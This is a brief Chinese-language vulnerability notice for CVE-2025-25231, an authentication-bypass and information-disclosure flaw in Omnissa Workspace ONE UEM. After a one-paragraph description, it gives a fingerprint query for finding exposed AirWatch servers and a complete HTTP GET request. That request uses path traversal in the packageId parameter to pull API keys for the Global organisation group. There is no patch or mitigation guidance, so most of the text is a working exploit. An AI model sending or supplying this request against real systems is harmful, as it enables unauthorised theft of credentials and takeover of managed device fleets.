Omnissa Workspace ONE UEM存在敏感信息泄漏漏洞

Omnissa Workspace ONE UEM 是一款集成的平台，通过单一控制台实现所有操作系统（包括桌面、移动、Rugged 设备和IoT）和所有用例的设备、应用程序、安全和身份进行管理。2025年9月，互联网上披露 CVE-2025-25231 Omnissa Workspace ONE UEM 敏感信息泄漏漏洞。恶意攻击者可构造恶意请求绕过相关身份认证，获取敏感信息，调用相关接口。 （CVE-2025-25231）

banner=”/airwatch/default.aspx”|| header=”/airwatch/default.aspx”

GET /DevicesGateway/apps/system-app-metadata/1?packageId=../../../../API/system/groups/apikeys%3fogname=Global HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive